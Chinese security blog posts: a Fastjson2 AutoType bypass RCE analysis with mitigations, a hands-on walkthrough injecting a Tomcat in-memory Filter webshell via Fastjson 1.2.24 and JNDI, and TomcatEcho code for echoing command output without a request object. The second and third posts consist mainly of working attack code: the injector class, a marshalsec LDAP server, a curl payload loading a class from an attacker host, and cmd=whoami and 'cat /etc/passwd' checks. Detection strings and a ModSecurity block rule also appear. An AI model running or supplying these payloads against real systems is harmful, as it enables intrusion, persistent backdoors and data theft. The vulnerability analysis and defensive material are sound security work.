Fastjson2 ≤ 2.0.62 AutoType 白名单绕过 RCE 深度分析

Fastjson2 是 Fastjson 的继任者,也是目前阿里系默认推荐的 JSON 库。历史上 Fastjson 的漏洞大多围绕 AutoType 和 gadget 展开,Fastjson2 则重新设计了 AutoType 的默认策略和白名单机制。但这一次,问题出在白名单机制本身。

先说结论:

  1. 漏洞根因不是”某个输入没过滤好”,而是 AutoType 白名单校验存在三层结构性缺陷:FNV-1a 哈希白名单只校验哈希不校验文本、类型名中的 URL 特殊字符(:、!)未过滤、多态反序列化(@JSONType(seeAlso=...))会自动开启 SupportAutoType。
  2. 公开利用链(ObjectReaderSeeAlso 路线)不需要 FNV 哈希碰撞,走的是 SupportAutoType 开启后的 fallback 路径,把攻击者控制的类型名直接送进类加载器。
  3. JDK 8 下可以一步远程加载恶意 JAR 完成 RCE;JDK 9+ 一阶段会触发 ClassFormatError,但远程 JAR 已被下载并缓存,可复用文件描述符做两阶段续接。
  4. 官方已确认问题(Issue #7702),但修复 PR #7695 未合并,截至分析时所有已发布版本均无正式修复;-Dfastjson2.parser.safeMode=true 是目前最直接的缓解手段。

1. 漏洞入口:多态 DTO + 指定目标类型

典型危险入口是”把请求体解析成带多态注解的具体类型”:

@PostMapping("/parseAnimal")
@ResponseBody
public Map<String, Object> parseAnimal(@RequestBody String payload) {
    // 带 @JSONType(seeAlso=...) 的多态基类 → ObjectReaderSeeAlso
    Object obj = JSON.parseObject(payload, Animal.class);
    ...
}
@JSONType(seeAlso = {Dog.class, Cat.class})
public class Animal {
    private String name;
    // getter / setter ...
}

class Dog extends Animal { ... }
class Cat extends Animal { ... }

这里有两个关键差异:

  • JSON.parseObject(body, Object.class):目标类型是 Object,没有多态注解,安全,返回普通 JSONObject。
  • JSON.parseObject(body, Animal.class):目标类型带 @JSONType(seeAlso=...),Fastjson2 会创建 ObjectReaderSeeAlso,攻击路径从这里开始。

也就是说,判断风险不能只看”AutoType 开没开”,还要看解析目标类型本身。


2. 根因:AutoType 白名单的三个缺陷

Fastjson2 的 AutoType 校验逻辑在 ObjectReaderProvider#checkAutoType()。它把用户可控的 @type 交给 TypeUtils.loadClass() 之前,先做白名单校验。这个校验存在三个可叠加的缺陷。

2.1 缺陷一:FNV-1a 哈希白名单,只校验哈希,不校验文本

Fastjson2 用 FNV-1a 64 位哈希对白名单类名做校验:

long hash = FNV_OFFSET_64;
for (int i = 0; i < typeName.length(); i++) {
    hash ^= typeName.charAt(i);
    hash *= FNV_PRIME_64;
    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
        clazz = loadClass(typeName);   // ← 仅哈希命中就加载!
    }
}

白名单存的是类名前缀的哈希值,而不是类名文本本身。默认情况下 acceptHashCodes 只有 1 个条目(-6293031534589903644L)。

问题在于:哈希命中的是前缀,但随后 loadClass() 拿到的却是包含后缀的完整类型名。

校验:prefix                        (哈希命中即通过)
使用:prefix + suffix               (完整类型名交给类加载器)

检查的对象和加载的对象不是同一段文本。攻击者只要让”! 之前的某段前缀”碰撞到默认哈希,后面的类名后缀就可以任意指定。这就是”哈希校验无文本验证”的含义。

2.2 缺陷二:URL 特殊字符未过滤,jar:http:// 能抵达类加载器

TypeUtils.loadClass() 没有拒绝类型名中的 :(协议分隔符)和 !(JAR entry 分隔符)。

于是 @type 的值不再只是 Java 类名,而可以是一个 URL:

jar:http://attacker:18080/exploit!/Evil

jar: URL 一旦被交给 URLClassLoader 解析,就会触发远程 JAR 下载。这是整条链从”类型名”变成”网络请求”的关键。

2.3 缺陷三:ObjectReaderSeeAlso 自动开启 SupportAutoType

这是”默认配置(AutoType 关闭)也能打”的关键。

当应用把请求体解析成带 seeAlso 的基类时,Fastjson2 会构造 ObjectReaderSeeAlso,其构造过程会自动把 SupportAutoType 特性位打开:

// ObjectReaderSeeAlso 构造逻辑(示意)
this.features |= JSONReader.Feature.SupportAutoType.mask;

再看 checkAutoType() 的判定:

if (autoTypeSupport || jsonType || expectClassFlag) {
    // 哈希命中 → loadClass
    // 哈希不命中但 SupportAutoType 已开启 → fallback,同样走到 loadClass
}

AutoType 默认关闭时,哈希不命中本该返回 null 中断解析;但 SupportAutoType 一旦被 ObjectReaderSeeAlso 打开,哈希不命中也不会中断,而是直接 fallback 到 TypeUtils.loadClass(typeName)。

这就是公开链”不需要 FNV 碰撞”的原因:它绕过的是白名单校验的中断分支,而不是哈希本身。


3. 从 @type 到类加载:SeeAlso 公开链

把三层缺陷串起来,完整链路如下:

POST /parseAnimal
{"@type":"jar:http:..localhost:18080.exploit!.Evil"}
        │
        ▼
JSON.parseObject(body, Animal.class)
        │  Animal 有 @JSONType(seeAlso=...)
        │  → 使用 ObjectReaderSeeAlso
        ▼
ObjectReaderSeeAlso 构造时 features |= SupportAutoType.mask
        ▼
checkAutoType("jar:http:..localhost:18080.exploit!.Evil", Animal.class, features)
        │  SupportAutoType = ON → 哈希不命中也不返回 null
        ▼
TypeUtils.loadClass(typeName)     ← fallback
        │  线程上下文类加载器.loadClass(name)
        ▼
ClassLoader.checkName —— 类型名没有 '/',通过
        ▼
URLClassLoader.findClass(name)
        │  path = name.replace('.', '/') + ".class"
        │  path = "jar:http://localhost:18080/exploit!/Evil.class"
        ▼
JarURLConnection → HTTP GET http://localhost:18080/exploit   → 下载 JAR
        ▼
defineClass("jar:http:..localhost:18080.exploit!.Evil", bytes)
        │  字节码内部名与外部名匹配
        │  恶意类 extends Animal 通过 isAssignableFrom 检查
        ▼
Evil.<clinit>() → Runtime.exec(...)   → RCE

3.1 点号编码绕过 checkName('/')

java.lang.ClassLoader.checkName() 拒绝二进制名中包含 / 的类型名:

private void checkName(String name) {
    if (name.indexOf('/') != -1) {
        throw new NoClassDefFoundError(name);
    }
}

但 URLClassLoader.findClass() 又会把类型名里的 . 还原成 /:

外部类型名(载荷):  jar:http:..localhost:18080.exploit!.Evil
                            ↓ findClass.replace('.', '/')
还原后的资源路径:    jar:http://localhost:18080/exploit!/Evil.class

所以攻击者把 URL 里的每个 / 编码成 .,既绕过了 checkName,又让 findClass 自动还原:

原始 URL 片段 点号编码后的类型名 findClass 还原后
http:// http:.. http://
/exploit!/ .exploit!. /exploit!/
/Evil .Evil /Evil

3.2 寻址约束:host 不能含点号

因为 . 会被替换成 /,载荷里的 host 部分不能出现点号:

方案 载荷示例 说明
localhost jar:http:..localhost:18080.exploit!.Evil 本地测试首选
十进制 IP jar:http:..2130706433:18080.exploit!.Evil 公网攻击,127.0.0.1 → 2130706433
短主机名 jar:http:..attacker:18080.exploit!.Evil 目标 hosts/DNS 里配短名
IPv6 jar:http:..[2001:db8::1]:18080.exploit!.Evil 双方需 IPv6

点分 IP 127.0.0.1 会变成 127/0/0/1,域名 evil.com 会变成 evil/com,都不可用。十进制 IP 是公网远程攻击的常用选择,但要注意目标 JVM 若走 HTTP 代理会出现连接超时,需要 -Djava.net.useSystemProxies=false 或直连环境。

3.3 字节码内部名与 defineClass 匹配

defineClass 要求字节码内部的类名把 / 换成 . 之后,与传入的 name 一致:

字节码内部名:      jar:http://localhost:18080/exploit!/Evil
                        ↓ replace('/', '.')
内部名点号形式:    jar:http:..localhost:18080.exploit!.Evil
                        ↓
defineClass name:   jar:http:..localhost:18080.exploit!.Evil   ← 匹配 ✓

恶意类需要继承目标基类(本例是 Animal),否则会被 isAssignableFrom() 检查拦下。所以公开 EXP 的远程类必须用 ASM 直接生成字节码,在字节码层面指定父类为 com/vuln/fastjson/Animal,并在 <clinit> 静态块里放命令执行逻辑。


4. JDK 8 为什么直接 RCE,JDK 9+ 为什么失败

本地实测(macOS,JDK 8u461)确认:JDK 8 的 ClassFileParser 接受类名中的 !,jar:http:...exploit!.Evil 可以完成类定义,静态初始化直接触发。

而 JDK 9+ 对 class 文件内部名称校验更严格,http:// 的连续斜杠直接报错:

java.lang.ClassFormatError: Illegal class name
  "jar:http://localhost:18080/exploit!/Evil"
环境 一阶段 jar:http 结果
JDK 8 下载 JAR → defineClass 通过 直接 RCE
JDK 9+ 下载 JAR → defineClass 失败 ClassFormatError

注意关键点:JDK 9+ 虽然类定义失败,但远程 JAR 已经被下载下来了。这一步的副作用是后续两阶段利用的基础。


5. 高版本 JDK 的两阶段 FD 续接

JVM 处理 JarURLConnection 时会把远程 JAR 缓存到本地临时文件,并保持文件描述符打开。Linux 可以通过 /proc/self/fd/N、macOS 通过 /dev/fd/N 重新访问进程持有的 fd。

于是 JDK 9+ 的思路变成两段:

阶段 1:jar:http://attacker/payload!/Evil
        → 触发远程 JAR 下载,JVM 缓存为临时文件并保持 fd 打开
        → JDK 9+ 类定义失败(ClassFormatError),但副作用已留下

阶段 2:jar:file:/proc/self/fd/N!/fdN/Evil       (Linux)
        或 jar:file:/dev/fd/N!/fdN/Evil          (macOS)
        → 从本地 fd 重新打开同一个 JAR
        → 内部名不再是 http://,避开一阶段的连续斜杠问题
        → 类定义成功 → <clinit> 执行

公开研究在 Spring Boot 2.7 / 3.3 + JDK 21 的 Tomcat、Jetty、Undertow、WebFlux 八组环境里,均观察到”一阶段下载 JAR → ClassFormatError → 复用残留 fd → 二阶段 marker 初始化成功”。

一个需要如实说明的细节:我们本地尝试过的朴素 /proc/self/fd 两阶段(2.0.61,非 SeeAlso 入口)是失败的——因为入口没有走到 TypeUtils.loadClass(),第一个阶段连远程 JAR 都没下载。两阶段成立的前提是走 SeeAlso 这类能把类型名送进类加载器的入口,不能把 Fastjson 1.x 的利用姿势直接套到 fastjson2。

两阶段不是”发两个包就能打穿所有环境”,它依赖一串工程条件:

两次请求进入同一个 JVM
一阶段已下载并打开远程 JAR
类加载器在异常后继续持有缓存 fd
第二阶段命中正确的 fd
操作系统暴露进程 fd 路径
远程类满足目标基类的继承关系
后端允许访问攻击者控制的 HTTP 服务

负载均衡、实例扩缩容、fd 生命周期、容器权限和出站策略都会改变成功率。所以”一阶段失败”不能被简单理解为”这个版本不可利用”。


6. 部署形态与 ClassLoader:决定公开链能走多远

公开 EXP 是否产生远程 JAR 请求,跟 Spring MVC 这个名字无关,真正决定的是运行时资源解析方式(ClassLoader)。

部署形态 ClassLoader 特征 公开链表现
Spring Boot 可执行 JAR(Boot 2.7) LaunchedURLClassLoader(Tomcat 请求线程为 TomcatEmbeddedWebappClassLoader,父加载器是 Boot 体系) 远程 JAR 请求 + RCE / FD 续接
Spring Boot 可执行 JAR(Boot 3.3) 容器 WebApp ClassLoader,但父加载器是 LaunchedClassLoader 同上
外置 WAR(Tomcat / Jetty) 容器 WebApp ClassLoader 进入 SeeAlso,但无远程请求
非 Spring(Solon、Jersey、RESTEasy、纯 Java) 各自类加载器 进入 SeeAlso,无远程请求

也就是说:

  • Spring Boot 可执行 JAR 是公开链的典型生效场景。
  • 外置 WAR 和非 Spring 应用,根因仍然存在(SeeAlso 一样会建),但所测部署形态没有产生远程 JAR 请求,能不能利用取决于容器 ClassLoader 对 jar: 资源的解析行为。

判断风险时,要记录的不只是 fastjson2 版本,还包括打包方式、JDK 版本和 ClassLoader 类型。


7. 官方状态与补丁

7.1 官方确认

Fastjson2 维护方在 Issue #7702 的回复中确认了四点:

  1. AutoType 类型解析路径存在安全问题;
  2. 问题在特定条件下可能被利用;
  3. PR #7695 不是已合并的正式修复;
  4. 正式修复会通过独立 PR 合并,并随后续版本发布。

也就是说,虽然公告建议升级到 2.0.63+,但截至分析时发布版本中尚无正式修复,处置状态要以官方新 PR、Release 和安全公告为准。

7.2 候选补丁 PR #7695

PR #7695 未合并,但仍有分析价值。它主要做三件事:

// 1. 拒绝 URL 特殊字符(: 和 !)
if (typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0) {
    throw new JSONException("autoType is not support. " + typeName);
}

// 2. 哈希命中后核对真实文本前缀
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
    String prefix = typeName.substring(0, i + 1);
    if (!acceptNameSet.contains(prefix)) {   // 新增文本校验
        continue;
    }
    clazz = loadClass(typeName);
}

// 3. loadClass 前补全统一校验 + 黑名单
if (ClassLoader.class.isAssignableFrom(clazz)
        || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
    throw new JSONException("autoType is not support.");
}

这三处改动指向同一个边界:用户控制的类型名经过不足的校验进入了类加载器。

7.3 时间线

时间 事件
2026-07 长亭科技发现并报告,Issue #7702 公开
2026-07 提交候选补丁 PR #7695
2026-07 维护方确认问题存在;PR #7695 关闭,未合并
截至分析时 所有已发布版本均无正式修复

8. 防护建议

正式修复发布前,下面几步已经可以切断公开链的关键位置。

8.1 开启 SafeMode(P0)

-Dfastjson2.parser.safeMode=true

兼容属性也有效(两者不要设置成冲突的值):

-Dfastjson.parser.safeMode=true

修改 JVM 启动参数后需要重启应用。

8.2 网关解析 JSON 后拒绝 @type(P1)

业务完全不使用多态 @type 时,网关可以在任意层级拒绝出现这个键的请求。不要在 Nginx rewrite 阶段用正则匹配 $request_body——Nginx 原生正则不理解 JSON 结构,还受请求体落盘、Unicode 转义、压缩影响。更稳妥的做法是让 ModSecurity / Nginx JavaScript / OpenResty Lua 先解析 JSON,再递归检查键名:

SecRule REQUEST_HEADERS:Content-Type \
  "@rx (?i)^application/(?:[a-z0-9.+-]+\+)?json" \
  "id:100100,phase:1,pass,nolog,ctl:requestBodyProcessor=JSON"

SecRule ARGS_NAMES "@contains @type" \
  "id:100101,phase:2,deny,status:403,log,msg:'Blocked JSON @type key'"

8.3 限制后端出站(P2)

公开链需要后端 JVM 主动外连获取远程 JAR。用容器 NetworkPolicy、主机防火墙或云安全组把出站收敛到业务白名单,重点限制业务 JVM → 公网 HTTP/HTTPS、非必要内网地址、云元数据与管理网段。

8.4 资产盘点(P3)

排查项 方法
fastjson2 版本 find . -name "fastjson2-*.jar"
解析目标类型 grep -rn "parseObject.*\.class" --include="*.java" .
SeeAlso 基类 grep -rn "@JSONType.*seeAlso" --include="*.java" .
打包方式 / JDK / 出站策略 / SafeMode 结合部署清单核对

8.5 检测特征

建议记录并告警以下请求特征:

"@type"
"jar:http"
"jar:file"
"/proc/self/fd"
"/dev/fd"

不要在 WAF 里只按明文正则拦截——@type、jar:、IP 都可能经过编码、转义或分块传输。十进制 IP(如 2130706433)、Unicode 转义、嵌套 JSON 都是常见的绕过方式,语义层检测才有意义。


9. 总结

这个漏洞的危险性来自三层机制的叠加:

  1. AutoType 白名单校验有结构缺陷——FNV-1a 哈希只校验哈希不校验文本,检查的对象和加载的对象不是同一段文本;
  2. jar:http:// 能抵达类加载器——类型名中的 : 和 ! 未过滤,配合点号编码绕过 checkName('/'),一个”类名”就变成了远程 JAR 下载;
  3. 多态反序列化自动开启 AutoType——@JSONType(seeAlso=...) 让默认关闭的 AutoType 在特定入口失效,这是”默认配置可攻击”的根本原因。

JDK 8 的链路是直的:

jar:http → getResourceAsStream → loadClass → defineClass → <clinit>

JDK 9+ 的链路是绕的:

jar:http → 缓存 JAR 到 fd(一阶段 ClassFormatError)
        → jar:file:/dev/fd/N(或 /proc/self/fd/N)→ defineClass → <clinit>

它不是传统 gadget 型反序列化漏洞,而是 Fastjson2 类型探测、JVM ClassLoader 行为和操作系统 fd 机制共同造成的一条跨层利用链。

最后提醒一句:这类漏洞的修复周期往往比人们预期长——”补丁 PR 已提交”不等于”漏洞已修复”。发布版本确认修复之前,SafeMode + 网关拦截 + 出站白名单是最可靠的三道闸。


参考资料

  • Fastjson2 Issue #7702
  • Fastjson2 PR #7695
  • Fastjson2 官方仓库
  • 长亭科技 Fastjson2 RCE 分析(微信公众号)
  • Fastjson2 Releases
  • Java ClassLoader 官方文档
  • Java URLClassLoader 官方文档
  • Spring Boot Traditional Deployment
阅读全文 »

Fastjson 实战注入内存马

发表于 2026-08-04 | 分类于 漏洞分析 |

Fastjson 实战注入内存马

《Fastjson反序列化漏洞深度剖析》 讲了 AutoType 漏洞原理;《反序列化与 JNDI 无文件注入内存马》 讲了无文件注入的通用链路。这一篇把两者接起来,完整走一遍 Fastjson 1.2.24 → JNDI → 注入 Filter 内存马 → 命令回显的实战,并记录一个真实踩坑:为什么现成的 JNDIExploit 工具打不进去。

本质:Fastjson 解析 @type 时反射实例化 com.sun.rowset.JdbcRowSetImpl,setDataSourceName + setAutoCommit(true) 触发 JNDI lookup,从攻击者 LDAP/RMI 服务远程加载恶意类;恶意类无参构造方法里用无 request 反射链拿 StandardContext,defineClass 加载恶意 Filter 完成注入。


一、为什么用 vulhub 靶场反而打不进去

用现成的 JNDIExploit 或手写 payload 打 vulhub 的 fastjson 1.2.24 靶场,通常注入不成功。排查方法:进容器把 jar 拿出来看版本。

# 从运行中的容器拷贝出应用 jar
docker-compose cp web:/usr/src/fastjsondemo.jar fastjsondemo.jar

# 解压看 Tomcat 版本
unzip -l fastjsondemo.jar | grep -i tomcat

发现 vulhub 靶场用的是 Tomcat 9,而不是本机测试的 Tomcat 8。差异就出在《反序列化与 JNDI 无文件注入内存马》 第三节的兼容坑上:Tomcat 9 里 WebappClassLoaderBase.getResources() 已弃用,直接调用返回 null → NPE,注入类一进构造方法就崩。


二、恶意注入类设计

2.1 无 request 拿 StandardContext(Tomcat 9 兼容写法)

JNDI 加载的类只有构造方法 / static 块会被执行,没有 request。用线程上下文类加载器往下翻,并反射取 resources 字段(兼容 Tomcat 9,弃用的 getResources() 会返回 null):

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import java.lang.reflect.Field;

public StandardContext getContext() {
    WebappClassLoaderBase cl =
        (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    try {
        Field field = WebappClassLoaderBase.class.getDeclaredField("resources");
        field.setAccessible(true);
        StandardRoot root = (StandardRoot) field.get(cl);
        return (StandardContext) root.getContext();
    } catch (Exception e) {
        return null;
    }
}

2.2 defineClass 加载恶意 Filter

恶意 Filter(ShellFilter)不在目标 classpath,先本地用 javassist 转成 Base64,注入端 ClassLoader.defineClass 还原:

public Filter getFilter() throws Exception {
    String code = "yv66vgAA...";   // ShellFilter 字节码的 Base64(javassist 生成)
    byte[] bytes = Base64.getDecoder().decode(code);

    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    Method define = ClassLoader.class.getDeclaredMethod(
        "defineClass", byte[].class, int.class, int.class);
    define.setAccessible(true);
    Class<?> clazz = (Class<?>) define.invoke(cl, bytes, 0, bytes.length);
    return (Filter) clazz.getDeclaredConstructor().newInstance();
}

2.3 构造方法里完成注入

public class Inject {
    public Inject() throws Exception {        // ← JNDI 加载后自动执行
        StandardContext context = getContext();
        Filter filter = getFilter();

        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("shell");
        filterDef.setFilter(filter);
        filterDef.setFilterClass(filter.getClass().getName());

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("shell");
        filterMap.addURLPattern("/*");

        context.addFilterDef(filterDef);
        context.addFilterMapBefore(filterMap);
        context.filterStart();
        System.out.println("注入成功");
    }
}

版本注意:Tomcat 9 是 javax.servlet + tomcat-catalina 9.0.x;Tomcat 10+ 要换 jakarta.servlet。编译注入类时依赖的 tomcat-catalina 版本要与目标运行时一致(见《Fastjson反序列化漏洞深度剖析》的版本章节)。


三、攻击环境搭建

3.1 三步准备

# 1. HTTP 托管编译好的 Inject.class(注入类只有它自己能远程加载)
python3 -m http.server 80

# 2. marshalsec 起 LDAP/RMI 服务,引用指向 Inject
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
  marshalsec.jndi.LDAPRefServer "http://攻击者IP/#Inject" 1389
#   (JDK 须用 8u191 之前版本启动 marshalsec 与靶场,见第四节)

# 3. 启动 vulhub fastjson 靶场
docker-compose up -d

3.2 触发 payload

Fastjson 1.2.24 的经典 JdbcRowSetImpl 链:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://攻击者IP:1389/Inject",
    "autoCommit": true
}
# 发送到靶场的反序列化接口
curl -X POST http://靶机IP:8080/ \
  -H "Content-Type: application/json" \
  -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击者IP:1389/Inject","autoCommit":true}'

触发链路:

Fastjson 解析 @type → Class.forName("JdbcRowSetImpl") → new 实例
  → setDataSourceName("ldap://.../Inject")
  → setAutoCommit(true) → 内部 connect()
  → JNDI lookup("ldap://攻击者:1389/Inject")
  → 恶意 LDAP 返回 Reference → 远程加载 Inject.class → new Inject()
  → 构造方法:defineClass(ShellFilter) + 注册 Filter → 内存马落地

3.3 验证

# 注入后任意请求带 cmd 即命令回显
curl "http://靶机IP:8080/?cmd=whoami"
curl "http://靶机IP:8080/?cmd=cat /etc/passwd"

四、版本与限制(为什么很多靶场打不通)

限制 版本边界 影响
JNDI 远程加载 codebase JDK 8u191+ 默认关闭(com.sun.jndi.ldap.object.trustURLCodebase=false) 高版本 JDK 下此链失效,需本地 Factory / 其他绕过
Fastjson AutoType 黑名单 1.2.25 起有黑名单,1.2.68 起 SafeMode 默认禁用 AutoType 低版本裸奔,高版本需 @type 绕过或白名单
Tomcat getResources() 弃用 Tomcat 9+ 注入类拿 context 的方式要改(第二节 2.1)

实战要点:vulhub 这类靶场通常是 JDK 8u62~8u181 + Fastjson 1.2.24(AutoType 全开、无黑名单),所以本链可通;真实目标要先确认 JDK 版本(-Djava.version 或 java -version)、Fastjson 版本(find . -name "fastjson*.jar")、Tomcat 版本,再决定链是否可行。


五、检测与防御

检测

  • 反序列化入口:审计是否存在对不可信 JSON 直接 JSON.parseObject 且未开 SafeMode;
  • JNDI 行为:RASP 监控 InitialContext.lookup 的参数是否来自外部输入;
  • 注册表:注入完成后,按《内存马检测与清除实操》 的 Filter 枚举方法检查 filterConfigs。

防御

层面 措施
Fastjson 升级到安全版本;开启 SafeMode(ParserConfig.getGlobalInstance().setSafeMode(true) 或 -Dfastjson.parser.safeMode=true)
JDK ≥ 8u191,关闭 JNDI 远程加载
RASP 监控 lookup / defineClass / addFilterDef 的调用栈
事前 修复反序列化入口本身(不可信输入不进 parse)

总结

这一篇把两条线接上了:

Fastjson AutoType(漏洞)
  → JdbcRowSetImpl 触发 JNDI lookup(入口)
  → 远程加载 Inject 类(无文件落地)
  → 构造方法:defineClass + 注册 Filter(内存马落地)
  → ?cmd=xxx 命令回显(持久化)

核心三点:

  1. Fastjson 只是”进入 JVM”的入口,真正干活的是 JNDI 远程加载的注入类——所以打好内存马,核心还是《反序列化与 JNDI 无文件注入内存马》 那套”无 request 拿 context + defineClass”;
  2. 版本是命门:JDK 8u191、Fastjson SafeMode、Tomcat 9 的 getResources(),任何一个没对齐都会失败;
  3. 防御的根仍是切断入口:升级 Fastjson + 开 SafeMode + 升级 JDK,比任何事后查杀都有效。
延伸阅读:《Fastjson反序列化漏洞深度剖析》 《反序列化与 JNDI 无文件注入内存马》 《TomcatEcho 无 request 命令回显》 《内存马检测与清除实操》
阅读全文 »

TomcatEcho 无 request 命令回显

发表于 2026-07-31 | 分类于 漏洞分析 |

TomcatEcho:无 request 场景的命令回显

内存马(尤其 Listener / Valve 型)和反序列化 / JNDI 注入场景里,恶意代码常常跑在拿不到 request/response 的地方:static 块、无参构造方法、requestInitialized 回调。命令执行了,结果怎么回给攻击者?——在全局无 request 引用的情况下,从线程上下文类加载器 / 容器内部把当前请求对象”翻”出来,这就是 TomcatEcho。

本质:Thread.currentThread().getContextClassLoader() 持有容器引用,逐层反射 resources → context → service → connectors → protocolHandler → handler → global → processors[] → req,从处理当前请求的线程栈里还原出 connector.Request,getResponse() 直接回显。整体框架见 《内存马原理总纲》。


一、为什么需要 TomcatEcho

1.1 回显方式的演进

方式 适用场景 局限
直接在 handler 里拿 response Filter / Servlet / Valve 的 doFilter / invoke 方法签名里就有,无需回显技巧
两步反射 Listener 的 requestInitialized:RequestFacade.request → connector.Request.response 仍需要一个 request 对象在手
TomcatEcho 链 static 块 / 构造方法 / 反序列化入口,完全无 request 依赖 Tomcat 内部字段名,版本差异敏感

1.2 触发场景

// JNDI 加载的类:只有构造方法会被自动执行
public class Inject {
    public Inject() { /* 这里没有 request! */ }
}

// 反序列化加载的类:只有 static 块 / 构造方法
public class ShellLoader extends AbstractTranslet {
    static { /* 这里也没有 request! */ }
}

// Listener:只有 ServletRequestEvent,需两步反射拿 response
public class ListenerShell implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) { /* ... */ }
}

这些场景下,RequestContextHolder(Spring)拿不到、request.getSession().getServletContext() 更拿不到——只能从 JVM / 容器内部结构反推。


二、两步反射的局限(Listener 场景)

Listener 的 requestInitialized(ServletRequestEvent sre) 能拿到 ServletRequest(实际是 RequestFacade),所以可以两步反射拿 response:

// RequestFacade 只有 request 字段(指向内部 connector.Request)
Field reqField = servletRequest.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);

// connector.Request 有 response 字段
Field respField = innerRequest.getClass().getDeclaredField("response");
respField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) respField.get(innerRequest);

但它依赖手里有一个 request 对象。static 块 / 构造方法里什么都没有,这条路走不通——只能上 TomcatEcho。


三、TomcatEcho 完整链

3.1 核心思想

Thread.currentThread().getContextClassLoader() 在 Web 应用线程里拿到的是 WebappClassLoaderBase,它一路持有容器对象:

Thread.currentThread().getContextClassLoader()   // WebappClassLoaderBase
  → resources          : StandardRoot             // Web 资源根
  → context            : StandardContext           // 当前应用
  → context            : ApplicationContext        // (内部还有一个同名字段)
  → service            : StandardService           // 服务
  → connectors[0]      : Connector                 // 连接器(处理请求的)
  → protocolHandler    : AbstractProtocol          // 协议处理器
  → handler            : AbstractProtocol$ConnectionHandler
  → global             : RequestGroupInfo          // 全局请求统计
  → processors[]       : ArrayList<RequestInfo>    // 所有已分配的请求
  → req                : org.apache.coyote.Request  // 找到当前请求
  → getNote(1)         : connector.Request          // 还原成高层请求对象
  → getResponse()      : connector.Response         // 回显

processors[] 里是所有已分配的 RequestInfo(当前正在处理的请求一定在列表里),遍历它逐个 getNote(1),就能拿到当前线程正在处理的请求。

3.2 代码实现

import org.apache.catalina.connector.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.RequestInfo;
import java.util.ArrayList;

public class TomcatEcho {

    public static void echo(String result) throws Exception {
        // 链式反射拿到 processors 列表(getField 见 3.3)
        ArrayList<RequestInfo> infos = (ArrayList<RequestInfo>) getField(
            Thread.currentThread().getContextClassLoader(),
            WebappClassLoaderBase.class,
            "resources:org.apache.catalina.webresources.StandardRoot",
            "context:org.apache.catalina.core.StandardContext",
            "context",
            "service:org.apache.catalina.core.StandardService",
            "connectors_0:org.apache.catalina.connector.Connector",
            "protocolHandler:org.apache.coyote.AbstractProtocol",
            "handler:org.apache.coyote.AbstractProtocol$ConnectionHandler",
            "global", "processors"
        );

        for (RequestInfo ri : infos) {
            org.apache.coyote.Request r =
                (org.apache.coyote.Request) getField(ri, RequestInfo.class, "req");
            Request req = (Request) r.getNote(1);   // getNote(1) → connector.Request
            Response resp = req.getResponse();      // 直接回显
            resp.getWriter().write(result);
            resp.getWriter().flush();
        }
    }
}

3.3 getField():链式反射工具

上面的 getField(obj, clazz, "a:b", "c_1:d", ...) 支持三种语法:

语法 含义 示例
"name" 取字段 "context"
"name:Type" 取字段并强转类型 "resources:org.apache.catalina.webresources.StandardRoot"
"name_1:Type" 取字段后按下标取数组/List 元素,再强转 "connectors_0:org.apache.catalina.connector.Connector"
public static Object getField(Object obj, Class<?> clazz, String... fieldNames) throws Exception {
    for (String part : fieldNames) {
        String[] segs = part.split("_", 2);
        Field field = clazz.getDeclaredField(segs[0].split(":")[0]);
        field.setAccessible(true);
        obj = field.get(obj);
        if (segs.length > 1) {                 // 带下标:取数组/List 元素
            String[] parts = segs[1].split(":", 2);
            int idx = Integer.parseInt(parts[0]);
            obj = obj instanceof List
                ? ((List<?>) obj).get(idx)
                : Array.get(obj, idx);
            clazz = parts.length > 1 ? Class.forName(parts[1]) : obj.getClass();
        } else {                                // 不带下标:强转
            clazz = part.contains(":") ? Class.forName(part.split(":")[1]) : field.getType();
        }
    }
    return obj;
}

例如 "connectors_0:org.apache.catalina.connector.Connector" = 取 connectors 字段的第 0 个元素并强转成 Connector。链式反射 + 类型标注,把原本十几行的逐字段反射压缩成一行参数表,直观且不易写错。

3.4 为什么 getNote(1)

org.apache.coyote.Request 是协议层的请求对象,getNote(int) 是 Tomcat 用来临时挂载关联对象的槽位。Tomcat 内部约定 note(1) 保存着对应的 org.apache.catalina.connector.Request(高层请求对象),拿到它之后 getResponse() 就能回显。


四、变体与版本差异

4.1 关键字段在 Tomcat 8.5 / 9 / 10

字段 稳定性 说明
WebappClassLoaderBase.resources 较稳 9 中 getResources() 方法弃用,但字段还在(反射取字段兼容)
StandardService.connectors 较稳 数组,取 [0]
AbstractProtocol.handler 较稳 ConnectionHandler
RequestInfo.global / processors 较稳 相对稳定
r.getNote(1) 稳定 跨版本约定一致

10.x 主要是 javax → jakarta 的包名差异,反射字段名基本一致。

4.2 变体:直接从 ConnectionHandler 定位

部分版本可以从 AbstractProtocol$ConnectionHandler 的内部 connections / processors map 直接定位当前线程,逻辑类似,只是入口字段不同。核心不变:从线程能拿到的类加载器 → 容器 → 协议层 → 请求对象。版本差异大时,多准备一两条备用链、逐个 try,是实战通用做法。


五、检测与防御

检测

# 内存 dump / Arthas 中找 TomcatEcho 特征:getNote(1)、RequestInfo、processors 反射遍历
# 或用 RASP 记录 ClassLoader.defineClass 与对 RequestInfo / coyote.Request 的反射访问

| 检测维度 | 说明 | |———-|——| | 反射调用特征 | 对 RequestInfo / getNote / processors 的非启动阶段反射 | | 内存分析 | dump 后搜索 getNote(1) 字符串、RequestInfo 实例 | | 行为 | 请求处理阶段出现”遍历所有处理器”的可疑调用 |

防御

层面 措施
